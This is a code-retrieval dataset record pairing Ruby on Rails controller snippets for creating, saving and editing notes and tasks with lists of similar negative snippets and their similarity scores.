"def note_contents=(notes)\n notes.each do |content|\n if content.strip != '' # => ignores blank notes\n self.notes.build(content: content) \n end\n end\n end",
"def create\n @note = Note.new(note_params)\n @note.user_id = current_user.id\n respond_to do |format|\n if @note.save\n format.html { redirect_to notes_url, notice: 'Note was successfully created.' }\n format.json { render action: 'index', status: :created, location: @note }\n else\n format.html { render action: 'new' }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end",
"def initialize_note(user_id,note)\n \tself.notes.new(user_id: user_id, description: note)\n end",
"def create\n @note = Note.new(note_params)\n @note.user_id = current_user.id\n respond_to do |format|\n if @note.save\n @notes_list = current_user.notes\n format.html { redirect_to @note, notice: 'Note was successfully created.' }\n format.json { render :show, status: :created, location: @note }\n format.js { render :layout => false }\n else\n format.html { render :new }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @note = Note.new(note_params)\n @note.created_at = DateTime.now\n\n respond_to do |format|\n if @note.save\n format.html { redirect_to @note, notice: 'Note was successfully created.' }\n format.json { render action: 'show', status: :created, location: @note }\n else\n format.html { render action: 'new' }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_note(issue)\n Note.create_status_change_note(issue, issue.project, current_user, issue.state, current_commit)\n end",
"def create\n @notesheet = Notesheet.new(notesheet_params)\n \n respond_to do |format|\n if @notesheet.save\n if !@notesheet.notepic.url\n path = \"#{@notesheet.title}-#{@notesheet.id}.txt\"\n File.open(path, \"w+\") do |f|\n f.write(@notesheet.content)\n @notesheet.notepic = f\n end\n @notesheet.save!\n end\n \n \n format.html { redirect_to @notesheet, notice: 'Notesheet was successfully created.' }\n format.json { render :show, status: :created, location: @notesheet }\n else\n format.html { render :new }\n format.json { render json: @notesheet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @note = current_user.notes.build(params[:note])\n respond_to do |format|\n if @note.save\n format.js {}\n format.html{ redirect_to noticias_notes_path, notice: 'Nota actualizada correctamente.'}\n else\n format.js{}\n format.html{ render action: \"new\"}\n end\n end\n end",
"def add_note(note)\n notes << note\n end",
"def create\n @note = Note.new(note_params)\n @tags = tag_list_from_param\n @note.user = current_user\n\n respond_to do |format|\n if @note.save && (@tags.empty? || Tag.update_note_tags(current_user, @note.id, @tags))\n format.html { redirect_to @note, notice: 'Note was successfully created.' }\n format.json { render :show, status: :created, location: @note }\n else\n format.html { render :new }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @notebook = Notebook.find(params[:notebook_id])\n @note = Note.new(note_params)\n @note.notebook_id = @notebook.id\n\n respond_to do |format|\n if @note.save\n format.html { redirect_to @notebook, notice: 'Note was successfully created.' }\n else\n format.html { render :new }\n end\n end\n end",
"def create\n @notebook_note = Notebook::Note.new(notebook_note_params)\n\n respond_to do |format|\n if @notebook_note.save\n format.html { redirect_to @notebook_note, notice: 'Note was successfully created.' }\n format.json { render action: 'show', status: :created, location: @notebook_note }\n else\n format.html { render action: 'new' }\n format.json { render json: @notebook_note.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n params[:note].merge!(:created_by_user_id=>current_user.id, :assigned_to_user_id => params[:note][:assigned_to_user_id].blank? ? current_user.id : params[:note][:assigned_to_user_id])\n unless params[:note][:assigned_by_employee_user_id] == \"\"\n employee_user = User.find(params[:note][:assigned_by_employee_user_id])\n params[:note].merge!(:company_id=>employee_user.company_id)\n end\n note = Communication.new(params[:note])\n @document_home = DocumentHome.new()\n errors = note.validate_note_docs(params)\n errors += UserTask.check_validations(params,current_user).join(\"<br>\") unless params[:generate_task].blank?\n responds_to_parent do\n if errors.blank?\n Communication.transaction do\n note.save\n upload_multiple_documents(note,params)\n create_task(note,params)\n end\n render :update do |page|\n page.redirect_to wfm_notes_path\n flash[:notice] = \"Note #{note.status == 'complete'? 'completed' : 'created'} successfully\"\n end\n else\n render :update do |page|\n page << \"show_error_full_msg('altnotice','#{errors}','message_error_div');\"\n page << \"enableAllSubmitButtons('buttons_to_disable','Save');\"\n end\n end\n end\n end",
"def create\n @note = Note.new(note_params)\n @note.user_id = current_user.id\n\n respond_to do |format|\n if @note.save\n format.html { redirect_to @note, notice: 'Note was successfully created.' }\n format.json { render :show, status: :created, location: @note }\n else\n format.html { render :new }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.88576674",
"0.7713706",
"0.7570108",
"0.75609124",
"0.7538372",
"0.74609864",
"0.7432908",
"0.7386994",
"0.7371634",
"0.7366263",
"0.73415357",
"0.73298675",
"0.7264616",
"0.7159805",
"0.71367335",
"0.7074874",
"0.7068432",
"0.7058423",
"0.7050091",
"0.7047972",
"0.70308244",
"0.70308244",
"0.70308244",
"0.69998616",
"0.6999036",
"0.698346",
"0.6972463",
"0.69651234",
"0.6959313",
"0.6938047",
"0.6938047",
"0.6938047",
"0.6938047",
"0.69344205",
"0.69211745",
"0.69132245",
"0.6896962",
"0.68891084",
"0.68763095",
"0.68740267",
"0.68713975",
"0.6848207",
"0.68477887",
"0.6844256",
"0.6833158",
"0.6827948",
"0.6827948",
"0.6816369",
"0.6810375",
"0.67940986",
"0.6792841",
"0.67604303",
"0.67493457",
"0.6748924",
"0.6746269",
"0.6746269",
"0.6739069",
"0.67384195",
"0.6735262",
"0.6729838",
"0.6713327",
"0.6692964",
"0.66913736",
"0.66880393",
"0.668565",
"0.6678779",
"0.66704696",
"0.666923",
"0.6658903",
"0.6649651",
"0.66467124",
"0.6642219",
"0.6641257",
"0.6636017",
"0.66327745",
"0.66310996",
"0.66291654",
"0.661804",
"0.66170746",
"0.6609491",
"0.660808",
"0.65945804",
"0.6588477",
"0.65876895",
"0.6582469",
"0.6570957",
"0.6568709",
"0.6568133",
"0.65653735",
"0.65643007",
"0.6553202",
"0.65482414",
"0.6544182",
"0.65400225",
"0.6536956",
"0.6535908",
"0.65352845",
"0.65319014",
"0.6531308",
"0.65312755",
"0.6514655"
] |
0.0
|
-1
|
Below code save new notes.
|
def create
begin
UserTask.transaction do
# Below code is use to append created_by_user_id,performed_by,:user_id,assigned_to to the @com_notes_entries array object.
com_notes_entries = params[:com_notes_entries].values.collect { |com_notes_entries| Communication.new(com_notes_entries.merge!(:created_by_user_id =>current_user.id,:assigned_to_user_id=>current_user.id,:assigned_by_employee_user_id =>get_employee_user_id,:company_id=>get_company_id))}
# below code is use to count the number of notes saved.
cnt=0
# Below mention transaction block basically revert Task entry and even revert the Communication "status: field to update.
# Added by Ajay Arsud Date:09 Sept 2010
com_notes_entries.each do |com_notes_entries|
unless com_notes_entries.description.blank?
com_notes_entries.note_priority = com_notes_entries.note_priority == 0? 1 : 2
cnt =cnt+1 if com_notes_entries.save!
if com_notes_entries.is_actionable.eql?(false)
task = UserTask.new(:name=>com_notes_entries.description,:created_by_user_id=>@current_user.id,:tasktype=>6,:note_id=>com_notes_entries.id,:assigned_by_employee_user_id=>com_notes_entries.assigned_by_employee_user_id,:assigned_to_user_id=>@current_user.id,:status=>'complete',:completed_at =>Time.now,:completed_by_user_id => @current_user.id,:priority=>com_notes_entries.note_priority.to_i == 1? 1 : 2)
com_notes_entries.update_attributes(:status =>'complete')
task.save
end
end
end
cnt >= 1? (cnt>1?flash[:notice] = "#{cnt} #{t(:text_notes_were)} successfully assigned." : flash[:notice] = "#{cnt} #{t(:text_note_was)} successfully assigned.") : (flash[:error]="Error while assigning the notes. Please enter all details.")
redirect_to :action => 'new'
end
rescue
redirect_to :action => 'new'
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def add_note(note)\n self.notes = notes.present? ? \"\\n\\n#{note}\" : note\n save\n end",
"def create_notes\n end",
"def save\n if @id\n # run an UPDATE query if it is in the database\n DB[:conn].execute(\"UPDATE notes SET text='#{@text}', is_complete='#{@is_complete}' WHERE id=#{@id}\")\n else\n # INSERT if it's not in the database yet.\n DB[:conn].execute(\"INSERT INTO notes(text) VALUES('#{@text}')\")\n end\n end",
"def notes_attributes=(notes)\n notes.each do |note|\n song_note = self.notes.build(content: note)\n song_note.save\n end\n end",
"def note_contents=(notes)\n notes.each do |note|\n if note.strip != \"\"\n content = self.notes.build(content: note)\n content.save\n end\n end\n end",
"def new_notes=(note)\n\t\tif !note.blank? then\n\t\t\ttime = Time.now.strftime(\"%m-%d-%y %I:%M %p\")\n\t\t\tnew_note = \"<p>#{note}<br/>\"\n\t\t\tnew_note << \"<span class=\\\"info\\\">\"\n\t\t\tnew_note << \"[#{time}]\"\n\t\t\tnew_note << \"</span></p>\"\n\t\t\tif self.notes.blank? then\n\t\t\t\tself.notes = new_note\n\t\t\telse\n\t\t\t\tself.notes << new_note\n\t\t\tend\n\t\tend\n\tend",
"def notes=(notes)\n self.service.editObject({ \"notes\" => notes.to_s })\n self.refresh_details()\n end",
"def note_contents=(notes)\n notes.each do |note|\n if note != \"\"\n self.notes << Note.find_or_create_by(content: note)\n end\n end\n\n end",
"def song_notes=(notes)\n notes.each do |note|\n self.notes.build(content: note)\n end\n end",
"def song_notes=(notes)\n notes.each do |note|\n self.notes.build(content: note)\n end\n end",
"def notes=(value)\n @notes = value\n end",
"def notes=(value)\n @notes = value\n end",
"def notes=(value)\n @notes = value\n end",
"def notes=(value)\n @notes = value\n end",
"def note_contents=(notes)\n \tnotes.each do |content|\n \t\tself.notes << Note.find_or_create_by(content: content) unless content == \"\"\n \tend\n end",
"def create_new_note\n note_type = params[:note_type][:note_type_id]\n new_note = keytech_note_handler.create(note_type, params[:element_key])\n new_note.subject = params[:subject]\n new_note.text = params[:body]\n response = keytech_note_handler.save(new_note)\n if response[:success] == true\n flash[:info] = 'Notiz wurde angelegt'\n else\n flash[:error] = \"Notiz konnte nicht angelegt werden: #{response[:error]}\"\n end\n redirect_to \"/element/#{params[:element_key]}/notes\"\n end",
"def new_note(content)\n note = Note.new({:type_id => self.id,\n :owner => 'bill',\n :content => content})\n note.save\n end",
"def update!(notes)\n fetch_notes\n show_notes\n push_notes(notes)\n end",
"def add_notes\n \tNote.create!(content: params[:body], user_id: params[:user_id], email_conversation_id: params[:email_conversation_id])\n \tredirect_to chat_history_path(lead_id: params[:lead_id])\n end",
"def click_save_new_note\n logger.debug 'Clicking the new note Save button'\n wait_for_update_and_click new_note_save_button_element\n end",
"def new_note(db)\n puts \"\\nWhat category would you like this note to be saved under?? examples html, css, ruby.....ect.\"\n category = gets.chomp\n\n puts \"\\nWhat would you like to name this note?? examples how to make a new line, how to round to the nearest whole number, ...ect \"\n name = gets.chomp\n\n puts \"\\nAdd your note below\"\n note = gets.chomp\n\n create_note(db, category, name, note)\nend",
"def create\n @notesheet = Notesheet.new(notesheet_params)\n \n respond_to do |format|\n if @notesheet.save\n if !@notesheet.notepic.url\n path = \"#{@notesheet.title}-#{@notesheet.id}.txt\"\n File.open(path, \"w+\") do |f|\n f.write(@notesheet.content)\n @notesheet.notepic = f\n end\n @notesheet.save!\n end\n \n \n format.html { redirect_to @notesheet, notice: 'Notesheet was successfully created.' }\n format.json { render :show, status: :created, location: @notesheet }\n else\n format.html { render :new }\n format.json { render json: @notesheet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def note_contents=(notes)\n notes.each do |content|\n if content.strip != ''\n self.notes.build(content: content)\n end\n end\n end",
"def notes; end",
"def notes; end",
"def notes; end",
"def save_instructions\n file = 'TODO'\n text = \"### TO-DO for #{name.upcase} feature:\\n\\n#{instructions}\\n\\n\\n\"\n\n in_root do\n create_file file unless File.exists? file\n append_to_file file, text\n end\n end",
"def save_status_note\n study_id = params[:study_id]\n extraction_form_id = params[:extraction_form_id]\n user_id = params[:user_id]\n note = params[:note]\n # look for an existing note that we can update\n existing = StudyStatusNote.find(:first, :conditions=>[\"study_id=? AND extraction_form_id=?\",params[:study_id],params[:extraction_form_id]])\n # if an existing entry does not exist, create a new one and save the note\n if existing.nil?\n StudyStatusNote.create(:study_id=>study_id, :extraction_form_id=>extraction_form_id, :user_id=>user_id, :note=>note)\n else\n # if the incoming message is empty, destroy the existing note\n if note.empty?\n existing.destroy()\n else\n existing.note = note\n existing.user_id = user_id\n existing.save\n end\n end\n # render a message to indicate that the operation was successful\n @msg_type = 'success'\n @msg_title = 'Update Received'\n @msg_description = 'Your note was saved successfully.'\n render 'shared/show_message.js.erb'\n end",
"def append_note new_notes\n # If I don't include hours it gets reset.\n # This doens't appear to be the case for task and project.\n (self.notes << \"\\n#{new_notes}\").lstrip!\n DayEntry.post \"daily/update/#{id}\",\n %{<request><notes>#{notes}</notes><hours>#{hours}</hours></request>}\n end",
"def save(file = RC_FILE)\n @original['todo']['notes'] = @notes\n json = @original.to_json\n open(file, 'wb+') { |f| f.write(json) }\n end",
"def create\n @note = Note.new(note_params)\n @note.save\n end",
"def note_contents=(contents)\n contents.each do |content|\n # next if content == ''\n if !content.empty?\n note = self.notes.build(content: content)\n # note = Note.find_or_create_by(content: content)\n # self.notes << note\n end\n end\n end",
"def note_contents=(notes)\n notes.each do |content|\n if content.strip != '' # => ignores blank notes\n self.notes.build(content: content) \n end\n end\n end",
"def save! target=\"./Notes\"\n filename = File.join(target, \"#{@title}.txt\")\n\n Faceoff.safe_save(filename) do |file|\n file.write self.to_s\n end\n end",
"def create\n @note = Note.new(note_params)\n @note.subject_id = current_subject.id\n @note.save\n #@note.topic_id = current_topic.id\n respond_to do |format|\n if @note.save\n format.html { redirect_to subject_path(current_subject.id), notice: 'Notes uploaded successfully.' }\n format.json { render :show, status: :created, location: @note }\n else\n format.html { render :new }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit_note_subject_and_save(note)\n logger.info \"Changing note ID #{note.id} subject to '#{note.subject}'\"\n expand_note note\n click_edit_note_button note\n enter_edit_note_subject note\n click_save_note_edit\n collapsed_note_el(note).when_visible Utils.short_wait\n note.updated_date = Time.now\n end",
"def save_release_note()\n puts \"Saving the release note of \" + @version + \" ...\"\n r_note = Nokogiri::HTML(open(@release_note_url))\n File.open(@r_note_filepath, \"w\") do |f|\n f.puts(r_note)\n end\n end",
"def save!\n end",
"def create\n @note = current_user.notes.new(params[:note])\n @note.note = view_context.markdown(@note.note).gsub(\"\\n\",\"\").gsub(\"\\r\",\"\")\n @note.save\n $statsd.increment 'animal.note.created'\n respond_with(@note)\n end",
"def createNote(noteText)\n refreshToken\n path = \"/api/note?auth=#{@token}\\&email=#{@email}&modify=#{ERB::Util.url_encode(Time.now.strftime(\"%Y-%m-%d %H:%M:%S\"))}\"\n data = noteText\n payload = Base64.encode64(data)\n response, data = agent.post(path,payload)\n unless response.code.to_i == 200\n raise \"Failed to create new note\"\n end\n response.body\n end",
"def set_notes\n user_notes = current_user.notes\n @notes = user_notes.where.not(id: nil)\n @new_note = action_name != 'create' ? user_notes.build : user_notes.build(note_params)\n end",
"def append_note http, new_notes\n # If I don't include hours it gets reset.\n # This doens't appear to be the case for task and project.\n (self.notes << \"\\n#{new_notes}\").lstrip!\n http.post \"daily/update/#{id}\", notes:notes, hours:hours\n end",
"def add_note(note)\n notes << note\n end",
"def bio_save\n @note = current_user.note\n @note.bio = params[:note][:bio]\n @note.save\n @user = current_user\n respond_to do |format|\n if @note.save\n format.js\n else\n format.js {render \"shared/save_failed\"}\n end\n end\n end",
"def save; end",
"def save; end",
"def save; end",
"def save; end",
"def save; end",
"def save; end",
"def save; end",
"def save; end",
"def note(note)\n\t\t@note = note\n\tend",
"def save\n end",
"def save\n end",
"def notes=(notes)\n if !notes.nil? && notes.to_s.length > 255\n fail ArgumentError, 'invalid value for \"notes\", the character length must be smaller than or equal to 255.'\n end\n\n if !notes.nil? && notes.to_s.length < 0\n fail ArgumentError, 'invalid value for \"notes\", the character length must be great than or equal to 0.'\n end\n\n @notes = notes\n end",
"def note_contents=(array)\n array.each do |i|\n if !i.empty?\n note = Note.find_or_create_by(content: i)\n self.notes << note\n end\n end\n end",
"def notes_generated(notes)\n puts green(\"Release notes generated: #{notes}\")\n end",
"def autosave; end",
"def save\n if new_record?\n overwrite @api.post(\"/meetings/#{meeting.shortcode_url}/items.json\",\n 'content' => content)\n else\n overwrite @api.put(\"/items/#{shortcode_url}.json\", 'content' => content)\n end\n end",
"def create_note(contents, title = nil, description = nil)\n Dropio::Resource.client.create_note(self, contents, title, description)\n end",
"def save\n end",
"def save_finalized\n\n # finalize it\n state = save\n\n # must assign a slug after saving\n if state && !self.slug \n self.slug = \"#{self.id}\"\n state = save\n end\n\n # must tag after saving - make sure to destroy the note if this fails\n if state && self.id && self.tagstring\n # TODO fix tagging - we are using relationships now instead to tag\n # also ... a relation between two notes can be defined by a tag...\n # we want relationships between two notes explicitly ...\n # Note.find_by_sql(\"DELETE FROM notes_relations WHERE note_id = #{self.id}\")\n # self.tag self.tagstring\n end\n\n return state\n end",
"def save\n todo = { 'content' => @content, 'id' => @id, 'is_completed' => @is_completed }\n found_todo = Todo.findTodo(@id)\n\n if found_todo.empty?\n @@allTodos.push(todo)\n return Todo.presist_data\n end\n Todo.edit(todo)\n Todo.presist_data\n end",
"def create_note(note, topics, attachments)\n click_create_new_note\n enter_new_note_subject note\n enter_note_body note\n add_attachments_to_new_note(note, attachments)\n add_topics(note, topics)\n click_save_new_note\n set_new_note_id note\n end",
"def set_note\n set_cookie_defaults unless cookies[:demo_note].present?\n params[:note] ||= JSON.parse(cookies[:demo_note])\n title = params[:note].try(:[], \"title\") ? html_clean(params[:note][:title]) : t(\"note.sample.title\")\n content = params[:note].try(:[], \"content\") ? html_clean(params[:note][:content]) : t(\"note.sample.content\")\n\n @note = Note.new(title: title, content: content)\n unless @note.has_minimum_number_of_concepts?\n @note.content = t(\"note.sample.content\")\n flash[:not_enough_pairs] = true\n end\n @note.prepare_inputs\n cookies.permanent[:demo_note] = @note.attributes.slice(\"title\", \"content\").to_json\n end",
"def add_note(note)\n notes << note\n end",
"def save\n end",
"def save\n #code\n end",
"def custom_action\n :new_note\n end",
"def note(*note_names)\n midi_values = note_names.map { |name| Midishark::Notes.note(name) }\n @notes << midi_values\n\n midi_values\n end",
"def save\n SAVE\n end",
"def create\n @note = Note.new(note_params)\n\n respond_to do |format|\n if @note.save\n format.html { redirect_to '/notes'}#, notice: 'Note was successfully created.' }\n format.json { render :show, status: :created, location: @note }\n @user_note = UserNote.new\n @user=User.find_by name: session[:user]\n @user_note.id_user = @user.id\n @user_note.id_note = @note.id\n @user_note.save\n else\n format.html { render :new }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # save any footnotes associated with the data.\n # see application controller for this method\n\tfootnotes = get_footnotes_from_params(params)\n\tFootnote.remove_entries(params[:study_id],\"results\")\n\tFootnoteField.remove_entries(params[:study_id],\"results\")\n\tunless footnotes.empty?\n\t \tfootnotes.each do |fnote|\n\t \t\tmynote = Footnote.new(fnote)\n\t \t\tmynote.save\n\t\tend\n\tend \n \tOutcomeResult.save_data_points(params, params[:study_id])\n\t@message_div = \"saved_item_indicator\"\n\trender 'shared/saved.js.erb'\n end",
"def all_notes=(notes)\n self.class.all_note_fields.each do |field|\n send(\"#{field}=\", notes[field])\n end\n end",
"def write_note(note, *keywords, title:'', archive: nil)\n\t\t# Exit if no note was given\n\t\treturn false unless note\n\n\t\tnote = Note.new( title: title, note: note.to_s, keywords: Array(keywords))\n\t\tarchive = name_to_archive(archive)\n\t\tarchive.add_note(note)\n\tend",
"def create\n @note = current_user.notes.build(params[:note])\n @attachids = params[:attachments].split(',')\n\n @at_users = @note.summary.scan(/@[a-zA-Z0-9_]+/)\n \n @note.summary = string_replace(3 , html_escape(@note.summary)) # repalce the string\n\n if @note.save\n @at_users.each do |at_user|\n user = User.find_by_sql(\"SELECT users.* FROM users WHERE nickname='#{at_user.from(1)}'\") #check user is exist\n if user.size == 1 #because note can not edit so the create note unexist in message table\n @message = @note.infos.create( {\n :user_id => user[0].id,\n :message => @note,\n :refer => 1\n } )\n broadcast \"/ats/new/#{@message.user_id}\", \"{ note_id: #{@note.id}, meg_type: 'at_in_note' }\"\n end\n end\n @attachids.each do |attachid|\n attach = Attachement.find(attachid)\n attach.note_id = @note.id and attach.save if not attach.nil?\n end\n\n broadcast '/notes/new', %Q/ { nickname: \"#{current_user.nickname}\", status: true } /\n\n cookies[:offset] = cookies[:offset].to_i + 1\n respond_to do |format|\n format.html { redirect_to notes_path, notice: 'Note was successfully created.' }\n format.js \n end\n else\n broadcast '/notes/new', %Q/ { status: false, errors: #{@note.errors.to_json} } /\n respond_to do |format|\n format.html { redirect_to notes_path, notice: 'Note creation was failed.' }\n format.js \n end\n end\n end",
"def write_notes_without_serializing(obs:, notes:)\n Observation.connection.execute(\"\n UPDATE observations\n SET notes = #{Observation.connection.quote(notes)}\n WHERE id = #{obs.id}\n \")\n end",
"def write_notes_without_serializing(obs:, notes:)\n Observation.connection.execute(\"\n UPDATE observations\n SET notes = #{Observation.connection.quote(notes)}\n WHERE id = #{obs.id}\n \")\n end",
"def save\n end",
"def save\n end",
"def save\n\n end",
"def save_evernote_post_at\n @book.evernote_post_at = Time.now.strftime(\"%Y-%m-%d %H:%M:%S\")\n @book.save\n end",
"def update_note\n id = unsafe_params[:id].to_i\n fail \"id needs to be an Integer\" unless id.is_a?(Integer)\n\n title = unsafe_params[:title]\n fail \"title needs to be a String\" unless title.is_a?(String)\n\n content = unsafe_params[:content] || \"\"\n fail \"content needs to be a String\" unless content.is_a?(String)\n\n attachments_to_save = unsafe_params[:attachments_to_save] || []\n fail \"attachments_to_save needs to be an array\" unless attachments_to_save.is_a?(Array)\n\n attachments_to_delete = unsafe_params[:attachments_to_delete] || []\n fail \"attachments_to_delete neeeds to be an array\" unless attachments_to_delete.is_a?(Array)\n\n note = nil\n Note.transaction do\n note = Note.find_by!(id: unsafe_params[:id])\n fail '' unless note.editable_by?(@context)\n\n attachments_to_save.each do |uid|\n item = item_from_uid(uid)\n note.attachments.find_or_create_by(item: item)\n end\n\n attachments_to_delete.each do |uid|\n item = item_from_uid(uid)\n note.attachments.where(item: item).destroy_all\n end\n\n note.update!(title: title, content: content)\n end\n\n render json: {\n id: note.id,\n path: note_path(note),\n }\n end",
"def save(*)\n call_hooks 'save' do\n # Existing object implies update in place\n action = 'add'\n set_auto_date_field 'created_at'\n if @new_record\n do_insert\n else\n do_update\n set_auto_date_field 'updated_at'\n action = 'update'\n end\n @new_record = false\n @dirty = false\n self.class.issue_notification(self, :action => action)\n end\n end",
"def create\n importance = 11\n @note = Note.new(body: note_params['body'], last_seen: Date.today, user_id: current_user.id, importance: importance)\n @note.add_tag(note_params['tag'].chomp.downcase, current_user.id)\n @note.add_second(note_params['second'].chomp.downcase, @note.tag.id, current_user.id)\n respond_to do |format|\n if @note.save\n format.html { redirect_to notes_path, notice: 'Note was successfully created.' }\n format.json { render :show, status: :created, location: @note }\n else\n format.html { redirect_to notes_path, notice: @note.errors }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @task_note = Note.new(params[:note])\n\n respond_to do |format|\n if @task_note.save\n format.html { redirect_to notes_path, notice: 'Task note was successfully created.' }\n format.json { render json: @task_note, status: :created, location: @task_note }\n else\n format.html { render action: \"new\" }\n format.json { render json: @task_note.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_note(note)\n @notes.push(note)\n end",
"def save_lines\n detail_lines.save_line \n end",
"def set_Note(value)\n set_input(\"Note\", value)\n end",
"def update_notes(teacher_set_notes_string)\n TeacherSetNote.where(teacher_set_id: self.id).destroy_all\n return if teacher_set_notes_string.blank?\n\n teacher_set_notes_string.split(',').each do |note_content|\n TeacherSetNote.create(teacher_set_id: self.id, content: note_content)\n end\n rescue StandardError => e\n raise TeacherSetNoteException.new(TEACHER_SET_NOTE_EXCEPTION[:code], TEACHER_SET_NOTE_EXCEPTION[:msg])\n end",
"def save\n\t\tend",
"def set_note\r\n @note = Note.find(params[:id])\r\n end",
"def set_note\n @note = Note.find(params[:id])\n end",
"def set_note\n @note = Note.find(params[:id])\n end",
"def set_note\n @note = Note.find(params[:id])\n end",
"def set_note\n @note = Note.find(params[:id])\n end",
"def set_note\n @note = Note.find(params[:id])\n end",
"def set_note\n @note = Note.find(params[:id])\n end",
"def set_note\n @note = Note.find(params[:id])\n end",
"def post(authToken, noteStore, note)\n\tcreatedNote = noteStore.createNote(authToken, note)\n\tputs \"Successfully created a new note with GUID: #{createdNote.guid}\"\nend"
] |
[
"0.7558285",
"0.7546625",
"0.73355824",
"0.71755743",
"0.7157353",
"0.7055497",
"0.70492655",
"0.7048036",
"0.69547063",
"0.69547063",
"0.691969",
"0.691969",
"0.691969",
"0.691969",
"0.686743",
"0.6848943",
"0.68312025",
"0.6755147",
"0.672135",
"0.6639261",
"0.66220534",
"0.65843683",
"0.6556011",
"0.6552179",
"0.6552179",
"0.6552179",
"0.6537166",
"0.65165055",
"0.6480147",
"0.6476856",
"0.64542466",
"0.64405245",
"0.6432213",
"0.6430916",
"0.6430379",
"0.6392943",
"0.6385872",
"0.6380342",
"0.6380003",
"0.63005877",
"0.6288745",
"0.6252806",
"0.6252746",
"0.6251995",
"0.62328756",
"0.62328756",
"0.62328756",
"0.62328756",
"0.62328756",
"0.62328756",
"0.62328756",
"0.62328756",
"0.6225849",
"0.6220013",
"0.6220013",
"0.6210501",
"0.61975783",
"0.61919016",
"0.6180579",
"0.6179835",
"0.6175246",
"0.6172315",
"0.61506283",
"0.6137689",
"0.61132824",
"0.61090463",
"0.61039656",
"0.6087484",
"0.6082463",
"0.60717005",
"0.60701203",
"0.60669804",
"0.6058994",
"0.604419",
"0.6042594",
"0.6034573",
"0.60278475",
"0.6025142",
"0.6025142",
"0.60177827",
"0.60177827",
"0.6016877",
"0.6016213",
"0.6014715",
"0.6006011",
"0.59860873",
"0.59816957",
"0.5964503",
"0.5963292",
"0.59623986",
"0.59563816",
"0.5955595",
"0.59554696",
"0.59466606",
"0.59466606",
"0.59466606",
"0.59466606",
"0.59466606",
"0.59466606",
"0.59466606",
"0.5937324"
] |
0.0
|
-1
|
Below code is used to show the task detials to edit.
|
def edit_task
authorize!(:edit_task,current_user)unless current_user.role?(:secretary)
data=params
@task = UserTask.find(data[:id])
@asset = @task.note_id if @task
@com_notes_entries = Communication.find(@asset, :include => [:receiver => :service_provider_employee_mappings]) #@com_notes_entries.receiver.service_provider_employee_mappings
@matters = Matter.team_matters(@com_notes_entries.assigned_by_employee_user_id, @com_notes_entries.company_id) #FIXME: Is the company id right?
lawyer_details(@com_notes_entries)
@contacts = Contact.all(:conditions => ["company_id = ?", @com_notes_entries.company_id], :order => 'first_name')
@skill_list = Physical::Liviaservices::SkillType.all
if data[:previous] =~ /(\d+)\z/
@previous = UserTask.tracked_by(@current_user).find($1)
end
render :layout=> false
rescue ActiveRecord::RecordNotFound
@previous ||= $1.to_i
respond_to_not_found(:js) unless @task
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def show\n @notes = @task.task_notes\n @tasks = @task.sub_tasks\n end",
"def edit\n # @task = Task.find(params[:id])\n set_task\n end",
"def edit\n @task = Task.find(params[:id])\n end",
"def edit\n # raise\n @task = Task.find(params[:id])\n # @task =\n end",
"def show\n @task_file = TaskFile.new\n @task_files = TaskFile.all\n @descussion = Descussion.new\n @descussions = Descussion.all\n end",
"def show\n find_task\n end",
"def edit\n # substituido pela funcao no before_action\n # @task = Task.find(params[:id])\n end",
"def edit\n\t @task = Task.find(params[:id])\n\t authorize! :edit, @task\n\t render :show_form\n\tend",
"def edit\n id = params[:id].presence || 0 \n @postit_task = PostitTask.find(id)\n end",
"def show\n redirect_to @task.list\n end",
"def show\n @task = @list.tasks.build\n end",
"def show\n\n\n\n\n @tasks = Task.new\n\n\n end",
"def show\n set_task_for_show\n render 'tasks/index'\n end",
"def edit\n @task = Task.find_by(id: params[:id])\n redirect_to tasks_path if @task.nil?\n end",
"def set_task\n @task = Task.includes(:todo).find(params[:id])\n @todo = @task.todo\n @list = @todo.list\n end",
"def edit\n\t\t@todolist = Todolist.find(params[:id])\n\tend",
"def show\n @task = Task.find(params[:id])\n end",
"def show\n @task = Task.find(params[:id])\n end",
"def show\n @task = Task.find(params[:id])\n end",
"def show\n @notes = @task.task_notes\n @tasks = @task.sub_tasks\n if current_user.allowed_to?(:manage_roles) and @task.user\n session[:employee_id] = @task.user.id\n User.current = @task.user\n end\n end",
"def show\n authorize @task\n @task_note = TaskNote.new(task: @task)\n set_return_to\n @return_to = get_return_to_or_default tasks_url\n end",
"def show\n @task = Task.find params[:id]\n\n end",
"def show\n @todo = @list.todos.find(params[:id])\n end",
"def show\n @task = Task.find params[:id]\n end",
"def show\n # @task2 Task2.find(params[:id])\n end",
"def menu_edit_task(task)\n loop do\n system 'clear'\n puts \"--> Task Details <--\".colorize(:cyan)\n puts @headline\n puts @pipe + \"Description: \".colorize(:cyan) + \"#{task[\"description\"]}\"\n puts @pipe + \"Status: \".colorize(:cyan) + \"#{task[\"status\"] ? @emoji[:white_heavy_check_mark] : @emoji[:cross_mark]}\"\n puts \"-\" * 20\n\n menu = [\n {name: 'Edit task', value: \"EDIT\"},\n {name: 'Delete task', value: \"DELETE\"}\n ]\n menu = menu + @navigation\n input = @prompt.select(\"Menu: \", menu)\n\n # specific menu options added \n case input\n when \"EDIT\"\n task = task_edit(task)\n when \"DELETE\"\n task_delete(task)\n menu_edit_job(task[\"job_id\"])\n when \"BACK\"\n menu_edit_job(task[\"job_id\"])\n end\n go_to(input)\n end\n end",
"def show\n respond_with Task.find(params[:id])\n end",
"def show\n @todo_item = @todo_list.todo_items.find(params[:id])\n end",
"def url\n\n \"/tasks/#{self.id}\"\n\n end",
